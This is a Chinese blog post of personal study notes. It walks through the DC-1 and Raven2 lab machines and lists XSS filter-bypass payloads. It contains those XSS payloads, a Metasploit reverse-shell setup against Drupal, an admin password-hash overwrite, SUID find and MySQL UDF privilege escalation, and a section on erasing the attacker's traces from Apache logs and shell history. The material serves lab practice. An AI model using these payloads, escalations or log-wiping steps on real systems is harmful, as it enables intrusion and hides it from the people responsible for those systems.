freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

DC-1和Raven2靶场及xss常见绕过
FreeBuf_long 2025-03-31 18:28:40 14913

xss常见绕过方式:

​ 1.

​ 2.">

​ 3.' ondblclick =javascript:alert(1) '

​ 4."ondblclick =javascript:alert(1) "

​ 5."> <a href=javascript:alert('hack') > xss

​ 6.">

​ 7."> alert("hack")

​ 8.javascript:alert(1)

​ 9.javascRipt:alert(1)//http://

​ 10.123&t_link="%20type="block&t_history="%20type="block&t_sort="type="text"%20onclick="javascript:alert(/XSS/)

DC-1:

$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);

mysql -udbuser -pR0ck3t 登录数据库查询

admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR --hash加密

find . -name "hash" --查找跟hash有关文件

./scripts/password-hash.sh

123456“ $S$DbvZo.EW5EHLOisAs1rVUlxL1e6qrS353oxpOuV.WYmEbq3kQfA8

find提权:

find / -perm -u=s -type f 2>/dev/null

使用find提权

find / -exec "/bin/bash" -p ;

提权成功,找到最后一个flag

  1. find /

    • 从根目录 /开始递归搜索整个文件系统。

  2. -perm -u=s

    • -perm:按文件权限匹配。

    • -u=s:匹配设置了 SUID 权限的文件。u表示所有者(user),s表示 SUID 位。

    • 符号-表示“至少包含指定权限”(例如 -perm -4000 等效于-perm -u=s),即文件必须启用 SUID 权限

  3. -type f

    • 仅搜索普通文件(排除目录、符号链接等)。

  4. 2>/dev/null

    • 将标准错误(stderr)重定向到

      /dev/null
      

      (黑洞设备),隐藏权限不足等错误信息,使输出更干净

DC-1靶场提示:

使用whatweb(kali自带)指纹识别,找到目标cms的版本和其他信息whatweb -v ip
msf漏洞利用msf漏洞利用神器,直接搜索Drupal这些模块msfconsole
search Drupal
我们使用第二个模块试试use unix/webapp/drupal_drupalgeddon2

use 1

show payloads # 显示该模块下的所有payload

发现这些东西,和php有关,而且能反弹到我们meterpreter后渗透模块中
设置payload为tcp反弹shellset payload payload/php/meterpreter/reverse_tcp

他们的区别正向连接:在msf中通常是指,bind_tcp,定义--攻击机主动发起连接请求,连接到目标靶机特定的一个端口,目标机器也需要开启一个监听端口,比如tcp监听反向连接:在msf中通常是指,reverse_tcp,定义--更常用,通过设置reverse_tcp攻击载荷可以轻松实现反弹,监听只需要在本机开启监听端口。主要区别就是公网和局域网的不同利用,正向连接通常攻击机用在局域网中不能访问 外网靶机,反向连接需要两个机器都需要能互相ping这里就使用反向连接来测试

获取shellshell
使用python调用系统终端python -c "import pty;pty.spawn('/bin/bash')"
这样子就好看多了找到flag1.txt
他说下一步要找一个cms的配置文件,一般配置文件都是settings.xxx,这里我们从当前目录模糊查询一下find . -name 'set*'
又给了你一个提示What can you do with these credentials?你能用这些凭证做什么?$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);

mysql -udbuser -pR0ck3t

找到有一个users表
我们只能去找这个hash规则的文件了从当前站点目录查找这个文件,并发现有一个password-hash.sh文件find . -name 'hash'
根据找到的文件构造密码
进入mysqlmysql -udbuser -pR0ck3t

修改密码update users set pass='$S$DzDk3olM.Eddhdeb1RbmS6b3FO1DC846VhR2a50zeS89xJKIpzek' where name='admin';
登录即可这里我们就找到了flag3
提示我们去passwd文件看看,提示我们去passwd,找到flag4cat /etc/passwd
切换flag4用户下的目录查看这个文件的权限,尝试追加用户提权,但是只能root读写
find / -perm -u=s -type f 2>/dev/null
1>/dev/null用于丢弃正常输出,而2>/dev/null用于丢弃错误输出。
使用find提权find / -exec "/bin/bash" -p ;
提权成功,找到最后一个flag
痕迹清除
观察一下我们刚刚使用过的操作,登录数据库(数据库日志),web请求(apache日志),msf漏洞利用(kaliweb请求),命令使用(history)

1、中间件日志清除对于web请求(阿帕奇日志),msf漏洞利用(kaliweb请求)这两个我们直接清除指定ip的行即可,日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。 find / -name 'access*'
查看都有一些什么内容cat /var/log/apache2/access.log
筛选自己主机ip ,sed -i '/192.168.0.1100/d' /var/log/apache2/access.log
这条命令会直接在原文件中删除所有包含192.168.22.165的行。-i选项表示直接修改文件。/d这里表示清除X段下的所有ip地址日志cat /var/log/apache2/access.log
同理正常请求日志清除了,错误请求日志也要删除吧find / -name 'error*'
cat /var/log/apache2/error.log

2、密码还原对于渗透测试中,这里有一个小细节,我们把密码改了,要做到无痕,还得把密码改回去是吧登录数据库mysql -udbuser -pR0ck3t
update users set pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where name="admin";
清除数据库日志没有权限,查看日志状态show variables like '%log%';
general_log是一个记录数据库服务器所接收到的每一条SQL语句的日志文件。当general_log设置为ON时,MySQL会记录所有客户端发送给服务器的SQL语句到general_log_file指定的文件中。当general_log设置为OFF时,MySQL不会记录这些SQL语句,从而节省磁盘空间和提高性能。慢查询日志slow_query_log看图也是关闭的当 slow_query_log 设置为 ON 时,MySQL 会将执行时间较长的查询记录到慢查询日志文件中,通常这个文件位于数据目录中,文件名可能是 hostname-slow.log。当 slow_query_log 设置为 OFF 时,MySQL 不会记录慢查询。找到这两个日志文件路径,看看有没有,这一步跳过、清除命令历史查看自己曾经输入过的命令history
history -c # 清除命令历史
登录日志这里我们使用的是反弹shell,实际上并没有登录,不会增加一条标准的ssh登录日志,这里跳过。
nmap扫描日志nmap扫描时,如果你指定了输出文件(例如使用-oN选项),确保删除这些文件。清除临时文件,如/tmp,查看是否有nmap相关的临时文件,并将其删除。

23-Raven2:

通过目录扫描找到vendor目录下的第一个flag,在这发现有phpmailer,在kali中searchsploit phpmailer搜索,可以利用

searchsploit 是一个用于在 Exploit-DB 漏洞数据库中搜索漏洞利用脚本和相关信息的工具

选择5.2.18 利用 searchsploit -x php/webapps/40974.py 查看改漏洞内容

sudo cp /usr/share/exploitdb/exploits/php/webapps/40974.py .将它复制到当前目录

sudo vi 40974.pyroot权限进行编辑

esc :wq按esc在输入保存并退出

python 40974.py执行

pip install requests-toolbelt如果报错安装一下

ps -aux|grep mysqlmysql查看权限

数据库udf提权:

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

尝试mysql的udf提权

udf = 'user defined function’即‘用户自定义函数’。
通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。
udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写。

查看插件在哪儿:

show variables like '%plugin%';

提权思路:

  • 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)

  • 从udf文件中引入自定义函数(user defined function)

  • 执行自定义函数

My.ini配置文件中没有secure_file_priv,默认不允许读写磁盘中任何文件,默认值为NULL。

​ show global variables like 'secur%';

查看是否存在远程登录

use mysql
select user,host from user;
# web安全
本文为 FreeBuf_long 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf_long LV.2
这家伙太懒了,还未填写个人描述!
  • 3 文章数
  • 1 关注者
SQL注入笔记
2025-03-27
网络安全基础
2025-03-15
文章目录